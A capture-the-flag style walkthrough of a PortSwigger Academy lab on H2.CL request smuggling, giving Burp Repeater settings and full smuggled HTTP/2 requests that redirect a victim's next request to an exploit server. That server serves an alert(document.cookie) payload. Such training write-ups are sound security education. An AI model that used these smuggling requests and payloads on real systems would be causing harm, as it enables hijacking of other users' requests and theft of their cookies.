H2.CL request smuggling
I just spent 30 minutes wasting my time clicking a send button every 10 seconds without resolving the lab. Cam back to it two weeks later, and got it to solve. It can take a long time.
This lab is vulnerable to request smuggling because the front-end server downgrades
HTTP/2 requests even if they have an ambiguous length.
Reproduction and proof of concept
From the Repeater menu, enable the Allow HTTP/2 ALPN override option and disable the Update Content-Length option.
Using Burp Repeater, try smuggling an arbitrary prefix in the body of an
HTTP/2request by including a
Content-Length: 0header as follows. Expand the Inspector’s Request Attributes section and change the protocol to
HTTP/2before sending the request.
POST / HTTP/2 Host: lab-id.web-security-academy.net Content-Length: 0 SMUGGLED
Observe that every second request you send receives a 404 response, confirming that you have caused the back-end to append the subsequent request to the smuggled prefix.
Using Burp Repeater, notice that if you send a request for
GET /resources, you are redirected to
Create the following request to smuggle the start of a request for
/resources, along with an arbitrary Host header:
POST / HTTP/2 Host: lab-id.web-security-academy.net Content-Length: 0 GET /resources HTTP/1.1 Host: foo Content-Length: 5 x=1
Send the request a few times. Notice that smuggling this prefix past the front-end allows you to redirect the subsequent request on the connection to an arbitrary host.
Go to the exploit server and change the file path to
/resources. In the body, enter the payload
alert(document.cookie), then store the exploit.
In Burp Repeater, edit your malicious request so that the Host header points to your exploit server:
POST / HTTP/2 Host: lab-id.web-security-academy.net Content-Length: 0 GET /resources HTTP/1.1 Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net Content-Length: 5 x=1
Send the request a few times and confirm that you receive a redirect to the exploit server.
Resend the request and wait for 10 seconds or so.
Go to the exploit server and check the access log. If you see a
GET /resources/request from the victim, this indicates that your request smuggling attack was successful. Otherwise, check that there are no issues with your attack request and try again.
alert(document.cookie). The victim user accesses the home page every 10 seconds. This lab requires Pro.